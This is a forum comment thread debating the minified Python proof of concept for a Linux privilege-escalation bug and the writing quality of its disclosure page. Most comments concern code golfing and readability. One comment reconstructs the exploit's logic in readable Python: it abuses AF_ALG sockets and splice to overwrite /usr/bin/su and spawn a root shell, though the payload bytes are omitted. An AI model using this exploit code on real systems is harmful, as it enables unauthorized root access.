3 ms·

The fetishism of "byte count" (here, as "732 byte python script") needs to stop, especially when in a context like this where they're trying to illustrate a rea

• ok123456 5mo ago
  This is pretty legible compared to the 90s C rootshell.org exploits.
• embedding-shape 5mo ago
  > I would absolutely never approve review of any code that used this. How often do you review, and subsequently block the release, of PoCs in this sort of context? Sounds like you've faced this a lot. I always thought code quality mattered less in those, as long as you communicate the intent.
  • opello 5mo ago
    While not formally reviewing code like this, I read a lot of it for fun. When it's clear and understandable, it's more educational and enjoyable. If the PoC code can also serve as a means of communication, that seems like an extra win.
  • Xirdus 5mo ago
    If you have a choice between posting minimized exploit code, and posting regular exploit code, posting minimized code is virtually always the wrong choice. If you have a choice between pointing out the byte size of the exploit, and not pointing out the byte size of the exploit, pointing it out is virtually always the wrong choice. In both cases, doing the right thing is less work. So somebody is going the extra way to ensure they are doing it wrong. If they didn't care, they'd end up doing it right by default.
  • nvme0n1p1 5mo ago
    > as long as you communicate the intent How does "import os as g" communicate the intent? How does hiding the payload behind zlib communicate the intent? This is the opposite: obfuscating the intent, so they can brag about 732 bytes instead of 846 bytes (or whatever it might have been). It would have been less work for everyone involved to just release the unminified source.
• refulgentis 5mo ago
  It's just lazy AI* writing w/0 editing. "Just" is doing a lot of work there, I'm so annoyed reading it. It's like an anti-ad and they had pretty cool material to work with. * Claude loves stacatto "Some numeric figure. Something else. Intensifier" (ex. the "exploitable for a decade." or whatever sentences)
  • bonzini 5mo ago
    Completely without editing, to the point of hallucinating a RHEL version (14.3) that doesn't exist.
  • tjbecker 5mo ago
    I recommend reading the technical writeup https://xint.io/blog/copy-fail-linux-distributions https://xint.io/blog/copy-fail-linux-distributions
    • internetter 5mo ago
      Technical writeup is also slop I fear
• john_strinlai 5mo ago
  >As a code author/reviewer, I would never write "os as g" and I would absolutely never approve review of any code that used this. lucky for them, its an exploit script, not enterprise code. all that needs to be "reviewed" is whether or not it exploits the thing its supposed to. edit: yall really think a 10-line proof of concept script needs to undergo a code review? wild. i shouldnt be surprised that the top comment on a cool LPE exploit is complaining about variable naming
  • Xirdus 5mo ago
    I'd imagine that at minimum, the team in charge of patching the vulnerability would need to review how the exploit works.
    • john_strinlai 5mo ago
      id imagine that they received more than just the poc in the report they received
      • Xirdus 5mo ago
        That doesn't make reviewing the POC any less valuable.
        • john_strinlai 5mo ago
          what value do you believe renaming the variable from "g" to something else provides the linux maintainers?
          • Xirdus 5mo ago
            It makes the exploit code more readable. We all love to laugh at C folks but for real, even Linux kernel maintainers care about readability.
  • StableAlkyne 5mo ago
    It's just sloppy. Readers are human, and little mistakes like this take away from the article. Then you add a nonexistent RHEL version, and it just isn't a good look. Which is a shame, because it's otherwise a very interesting vuln. Maybe you didn't care, but the length of this comment chain clearly shows that it matters. Effective communication is just as important as the engineering.
• debo_ 5mo ago
  I don't see it as fetishizing byte count. I think of it as a proxy measure for how complicated or uncomplicated the exploit might be. They could just as well have said "we can do it in 3 lines of python" or "the Shannon entropy of the script implementing the exploit is really small" and I would have interpreted it similarly. Where do you see this "fetishizing" happening most often? It's a strange thing to counter-fetishize about.
  • layer8 5mo ago
    > I think of it as a proxy measure for how complicated or uncomplicated the exploit might be. From a Busy Beaver, 256-bytes compo, or Dwitter perspective, 732 bytes isn’t really that meaningful. And the sample exploit is even optimizing the byte size by using zlib compression, which doesn’t make much sense for the purpose. It just emphasizes the byte count fetishization.
    • debo_ 5mo ago
      Again, I think the point is that compressed size is a reasonable measure of the inherent complexity of a program. I'm a crap mathematician, but I believe that is a fundamental concept in information theory.
      • layer8 5mo ago
        But it isn’t compressed size, the compressed part is only 180 bytes of the 732.
        • debo_ 5mo ago
          Ah, got it. Thank you.
• tptacek 5mo ago
  I don't get the 732-byte thing either and while I think it's a relatively punchy and unusually informative landing page for named vulnerability there are little snags like this all over it. But the fact that it's not a kernel-exec LPE and it's reliable across kernels and distributions is important; it's close to the maximum "exploitability" you're going to see with an LPE. Which the page does communicate effectively; it just gilds the lily.
  • tylerni7 5mo ago
    yeah... definitely a bit of a rush to get the landing page out after a long time in the disclosure process. The folks putting this all together have been working like mad (finding the bug, disclosing, working a lot on patching, writing up POCs and verifying exploitability in different scenarios) and stayed up really late to finish up the landing page, which led to a lot of minor issues. But the bug is real and people should patch :) For the size: sometimes people will shove in kilobytes of offset tables or something into an exploit, so it'll fingerprint and then look up details to work. This is much smaller because it doesn't need any of that, which is important for severity. (I agree the "golf" nature is a bit of an aside, kind of like pwn2own exploits taking "10 seconds")
• fragmede 5mo ago
  > Anyway, I could go on. Then go on. zlib is only used once, so "zlib as z" in exchange for using z once doesn't get you anything. Using os directly and not renaming it g saves you 2 bytes though. But in this age where AI outputs reams of code at the drop of a hat, why shouldn't we enjoy how small you can get it to pop a root shell? https://gist.github.com/fragmede/4fb38fb822359b8f5914127c2fe1c94f https://gist.github.com/fragmede/4fb38fb822359b8f5914127c2fe... edit: If we drop offset_src=0 and just pass in 0 positionally, it comes down to 720.
  • Banditoz 5mo ago
    >...why shouldn't we enjoy how small you can get it to pop a root shell? Because I want to know what the exploit is doing and how it works, and if it's even safe to run. A privesc PoC is NOT the place for this kind of fun.
    • akdev1l 5mo ago
      Agreed lmao the PoC itself looks like you’re getting attacked Which I guess is true but I would like to verify the attack is the intended one
• tensegrist 5mo ago
  llms love that though "The honest solution: a clean 50-line cut" and so on, ad nauseam
• infogulch 5mo ago
  While I agree that it doesn't make much sense to use a minimizer on code the reader could understand, the code-golfed byte count of a CVE repro communicates its complexity in a certain visceral way.
• rts_cts 5mo ago
  I started to take the exploit script apart and reformat it to be something readable. At about 1041 bytes it's actually readable. The heart of it also includes an encoded zlib compressed blob that's 180 bytes long ('78daab77...'). This is decompressed (zlib.decompress(d(BLOB)) to a 160 byte ELF header.
• vitus 5mo ago
  Hilariously, "os as g" adds one more byte than it saves, since os is only used 4 times but the alias takes 5 extra bytes to save 4. And "socket as s" comes out even. If you wanted real savings, you'd use "d=bytes.fromhex" instead of defining a function -- 17 bytes!! And d('00') -> b'\0' for -2 bytes. We could easily get the byte count down further by using base64.b85decode instead of bytes.fromhex (-70 or so), but ultimately we're optimizing a meaningless metric, as you mention.
• xmcp123 5mo ago
  Glad I’m not alone. The whiplash from “oh, python I can read this” to “what the hell does that do” was jarring. Assuming AI was correct, it unpacks more or less like this import os, zlib, socket AF_ALG = 38 SOCK_SEQPACKET = 5 SOL_ALG = 279 def hex_bytes(x): return bytes.fromhex(x) def trigger(fd, offset, patch4): sock = socket.socket(AF_ALG, SOCK_SEQPACKET, 0) sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) sock.setsockopt(SOL_ALG, 1, hex_bytes("0800010000000010" + "0" * 64)) sock.setsockopt(SOL_ALG, 5, None, 4) op, _ = sock.accept() length = offset + 4 zero = b"\x00" op.sendmsg( [b"A" * 4 + patch4], [ (SOL_ALG, 3, zero * 4), (SOL_ALG, 2, b"\x10" + zero * 19), (SOL_ALG, 4, b"\x08" + zero * 3), ], 32768, ) read_pipe, write_pipe = os.pipe() os.splice(fd, write_pipe, length, offset_src=0) os.splice(read_pipe, op.fileno(), length) try: op.recv(8 + offset) except: pass target = os.open("/usr/bin/su", os.O_RDONLY) payload = zlib.decompress(bytes.fromhex("...")) offset = 0 while offset < len(payload): trigger(target, offset, payload[offset:offset + 4]) offset += 4 os.system("su")
• flourflour 5mo ago
  You're supposed to add "as a senior engineer" so we know you're 3 years out of bootcamp and can program in 1.25 languages. Or "as a staff..." if you've given an interview, know what 'make' is ("it's a command!") and are willing to do absolutely anything for the CTO.